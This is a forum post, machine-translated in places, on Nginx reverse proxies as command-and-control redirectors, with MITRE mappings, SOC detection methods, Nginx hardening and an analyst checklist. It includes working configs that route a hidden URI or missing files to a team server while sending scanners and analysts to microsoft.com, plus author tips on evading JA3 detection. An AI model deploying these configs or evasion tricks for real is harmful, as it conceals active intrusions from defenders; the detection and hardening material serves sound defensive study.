Nginx reverse proxy: C2 security and detection-checking for SOC

Depov

Activist
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
126
Reaction score
115
Deposit
0$
Business logic of attack: the place of Nginx-redirector in kill chain
Nginx reverse proxy for the security of C2 works at the Command and Control stage - the implant has already been delivered and fixed on the host. Full chain: initial access (phishing, operation of the perimeter service) → loader/dropper → C2-agent installs the reverse channel through redirector -> the operator receives control -> lateral movement and exfiltration through the same channel.

According to MITRE ATT&CK these are specific techniques:
• Proxy (T1090, Command and Control) - C2-traffic routing through the intermediate node
• External Proxy (T1090.002) )- external proxy, hiding the address of team server from netflow-analysis
• Hide Infrastructure (T1665) )- purposeful concealment of management infrastructure
• Web Protocols (T1071.001) )- C2 masking under HTTP/HTTPS
• Encrypted Channel (T1573) )- TLS-encryption of the channel between the implant and redirector
Redirector solves three tasks. The first is the concealment of the IP team server: Blue Team sees only IP redirector, the real C2 does not appear in either DNS or netflow. The second is the stability of the operation: the bedroom redirector is replaced in minutes without losing access to implants (we changed three pieces on one project in a week - not a single beacon fell off). The third is bypassing web-categorization: Nginx on redirector serves real content for web proxy and sandboxes, and C2 traffic goes through individual URIs.

For SOC, this means: the IP address from the alert is a consumable node, not the end point. Behind him is the infrastructure that you do not see yet.
Nginx as C2 redirector: TTPs and Configu (Outter)
URI-routing through proxy_pass - diagram kernel
Key Mechanics - Directive location c proxy_pass. Nginx analyzes the URI of the incoming query and routes only certain paths to the team server, the rest serves as a regular web server or returns redirect to a legitimate resource.

Configuration adapted from practice (similar examples are given by sources xbz0n.sh and redfoxec.com):
NGINX:
server {
listen 443 ssl;
server_name news-portal.com;
ssl_certificate /etc/letsencrypt/live/news-portal.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/news-portal.com/privkey.pem;
location /api/v2/update {
proxy_pass https://TEAM_SERVER_IP:443;
proxy_set_header Host $host;
}
location / { return 302 https://www.microsoft.com/; }
}
Request for /api/v2/update (URI from Malleable C2 Profile) is shown on team server. Everything else - from the scanner, from the SOC analyst, from the web categorizer - gets 302-redirect on microsoft.com. The analyst checked the domain with his hands, saw a redirect on a legitimate resource - and closed the ticket. I've seen this more than once.

Alternatives to Nginx for redirectors - Apache mod_rewrite (described by optiv.com and redfoxec.com) and Caddy (byt3bl33d3rd.substack.com). Apache gives a more granular filtering via RewriteContace Tool, Caddy is easier to set up and controls TLS without Certbot. Nginx is a golden mean: fast, fine control via location-blocks, eats a minimum of resources on VPS.

Limitation for the attacker: URI-pattern sewn in both the Nginx and Malleable C2 Profile. If the Blue Team removes the profile from the memory of the implant process - all URIs are compromised, the redirector becomes detectable by signature. This, by the way, is a real vector for SOC - but about it below.
try_files - legitimate content as a double bottom
A more elegant approach described by coffeegist.com, - try_files. Nginx tries to give the file for the requested URI; if the file is not on the disk - procreates the C2 request:
NGINX:
location / {
try_files $uri $uri/ @c2;
}
location @c2 {
proxy_pass https://TEAM_SERVER_IP;
proxy_ssl_verify off;
proxy_set_header Host $host;
}
Implant turns to a URI that is not on the disk (/assets/logo_v3.png) - the request goes to the team server. The person or bot asks /index.html - gets a real page with content. The domain remains categorized, SSL certificate is valid, visual verification does not give anything.

Directive proxy_ssl_verify off allows team server to use a self-signed certificate. Certbot updates the certificate only on redirector, and the server team does not glow in the Logs of Certificate Transparency.

Restrictions: try_files creates a predictable pattern - all non-existent URIs are proxyed. Crafted query to a random URI that returns not 404, but a meaningful answer is a direct anomaly. And it is caught elementary, if you know where to look.
TLS layer: certificates and Encrypted Channel
The attackers receive certificates through Let's Encrypt - Certbot automates release and update. For SOC, this means: a DV certificate from Let's Encrypt itself is not an IOC (half of the Internet sits on them). But the monitoring of the Certificate Transparency (CT) allows you to record the release of the certificate for the observed domain.

On engagements, it is longer than 90 days (according to coffeegist.com, the real duration, taking into account the reporting reaches 120 days), the certificate must be updated. Nginx reloaded through nginx -s reload without interruption of sessions, but in SIEM it is seen as a change in the serial number of the certificate while saving the domain and IP. Smollen, but it is such trifles that are folded into the chain.
Detection: how SOC detects C2 redirector on Nginx
Adjacent requirements for detection:
• Network sensor: Zeek 6.x+ or Suricaa 7.x with TLS-logging
• SIEM: Elastic Security 8.x+, Splunk Enterprise Security, MaxPator SIEM or KUMA
• Access to TLS-metadata: JA3/JA3S-héshi, SNI, serial certificate number
• Baseline network traffic in 14+ days (without it beaconing-detection is useless)
• Passive DNS or threat intelligence feed with domain age data
Nginx Traffic Filtering: TLS Anomalies and JA3 Fingerprints
Each C2 framework generates a characteristic TLS Client Hello. JA3 - the hash of parameters of the TLS-help (version, cipher suites, extensions). Cobalt Strike Beacon, Sliver, Havoc have documented JA3 prints, which are published by researchers and aggregated in open databases.

What to Look for in Zeek ssl.log:
• JA3-hash from the C2-find database - direct IOC. For Elastic Security: the rule of correlation on the field tls.client.ja3with a lookup table of famous hashs
• Uniformity of JA3 for the domain. A normal site receives traffic from Chrome, Firefox, Edge - each gives its own JA3. If there is one host with one JA3 to the domain - this is an anomaly, and quite bright
• Frequency of reconnects. C2-agent with sleep 60 sec and jitter 20% creates connects every 48-72 seconds. In Splunk: grouping src_ip + dest_domain, calculating the standard deviation of intervals. σ < 5 sec with an average interval > 30 sec - strong indicator beaconing
JA3-detection Limit: Advanced operators change TLS-parameters via the Mallable C2 Profile (Cobalt Strike) or use frameworks to Go (Sliver), whose JA3 is difficult to distinguish from legitimate Go-apps. JA3 is the first filter, not the final verdict. We on several projects specifically selected cipher suite under Chrome - and JA3-detection fell off.

For Suricata: the source xbz0n.sh describes the rules for detecting long-polling HTTPS connections - alert at a TLS-session session with abnormal domain duration outside of whitelist.
Correlation rules for SIEM: weak signal + weak signal
Nginx security config: hardening to protect web applications
If the task is to protect your Nginx-instants, and not to look for other people's redirectors, here are specific measures from the point of view of nginx upstream proxy.

Rate limiting. Directive limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s; in context http, then limit_req zone=api burst=20 nodelay; in location. Not WAF, but cuts off automated scanning and brute-force. Restriction: does not save from distributed attacks with IP rotation.

Security Headers through add_header:
• X-Content-Type-Options: nosniff- MIME-sniffing ban
• X-Frame-Options: DENY- protection from clickjacking
• Strict-Transport-Security: max-age=31536000- Compulsory HTTPS
• Content-Security-Policy- restriction of content sources (requires tuning for the application, without tests in production not include)
Hide the version. server_tokens off; Removes the version from the title Server. Not a security measure in a strict sense, but removes low-hanging fruit for automatic scanners.

ModSecurity WAF. Integration with libmodsecurity3 and OWASP Core Rule Set closes injection attacks (corresponds to OWASP A03:2021 - Injection) Limit: enters latency 2-10 ms on the request, requires a tuning positive positive - in production first turn on DetectionOnly and drive for a week, otherwise put legitimate traffic.

Proxy_pass control. If Nginx works as a reverse proxy for backend proxy_pass Only for specific upstreams from whitelist. Open proxy_pass with a user variable in URI is a direct path to SSRF.
Detection-checker for SOC-analyst
The numbered list for inclusion in the playbook or transfer to L1/L2:
1. Check JA3 heshi HTTPS traffic to a suspicious domain - to compare with the database of C2 prints (ja3er.com, Abuse.ch)
2. Analyze the frequency of requests: σ intervals < 5 sec with average > 30 sec = beaconing
3. Check the age of the domain via Passive DNS/WHOIS: registration < 30 days + DV certificate = increased risk score
4. Send a crafted request to a random URI: the answer is not 404 from the alleged static site = anomaly
5. Check Certificate Transparency Logs: Rotation of Certificates More Than Every 60 Days
6. Compare the number of unique domain clients with its category: 1 client on the "News" domain = anomaly
7. Check the answer headers: No standard CDN/service headlines in the stated category
8. The audit of internal Nginx configurations: new location blocks from proxy_pass to external IP = compromising
9. Monitoring nginx -s reloadon internal servers via auditd/EDR = configuration change indicator
 
Top Bottom